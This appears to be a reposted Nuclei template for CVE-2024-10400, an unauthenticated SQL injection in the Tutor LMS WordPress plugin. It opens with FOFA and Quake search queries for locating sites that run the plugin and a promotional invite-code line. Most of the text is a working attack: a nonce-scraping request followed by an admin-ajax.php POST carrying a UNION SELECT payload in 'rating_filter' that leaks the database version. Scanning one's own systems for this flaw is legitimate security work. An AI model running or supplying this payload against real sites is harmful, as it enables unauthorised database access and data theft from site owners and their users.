CVE-2024-10400

fofa: body="/wp-content/plugins/tutor/"Quake：body:"/wp-content/plugins/tutor/"# 风里雨里，我都在quake等你。个人中心输入邀请码“lnBNF0”你我均可获得5,000长效积分哦，地址 quake.360.net

id: CVE-2024-10400info:  name: Tutor LMS <= 2.7.6 - SQL Injection  author: iamnoooob,rootxharsh,pdresearch  severity: high  description: |    The Tutor LMS plugin for WordPress is vulnerable to SQL Injection via the ‘rating_filter’ parameter inall versions up to, and including, 2.7.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.  reference:    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/tutor/tutor-lms-276-unauthenticated-sql-injection-via-rating-filter    - https://nvd.nist.gov/vuln/detail/CVE-2024-10400  classification:    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N    cvss-score: 7.5    cve-id: CVE-2024-10400    cwe-id: CWE-89    cpe: cpe:2.3:a:themeum:tutor_lms:*:*:*:*:*:wordpress:*:*  metadata:    verified: truemax-request: 2    vendor: themeum    product: tutor_lms    framework: wordpress    shodan-query: html:"/wp-content/plugins/tutor/"    fofa-query: body="/wp-content/plugins/tutor/"  tags: cve,cve2024,tutor-lms,lms,sqlivariables:  num: '999999999'http:  - raw:      - |        GET / HTTP/1.1        Host: {{Hostname}}    extractors:      - type: regex        part: body        internal: true        name: nonce        group: 1        regex:          - '"_tutor_nonce":"([a-z0-9]+)"'  - raw:      - |        POST /wp-admin/admin-ajax.php HTTP/1.1        Host: {{Hostname}}        Content-Type: application/x-www-form-urlencoded        action=load_filtered_instructor&_tutor_nonce={{nonce}}&rating_filter=1e0+and+1=0+Union+select+111,2222,3333,4,5,6,7,8,9,concat(md5({{num}}),version()),11,12,14--+-    matchers:      - type: word        part: body        words:          - '{{md5(num)}}'          - '"success":true'        condition: and    extractors:      - type: regex        part: body        group: 1        regex:          - 'alt=\".*?:(.*?)\"'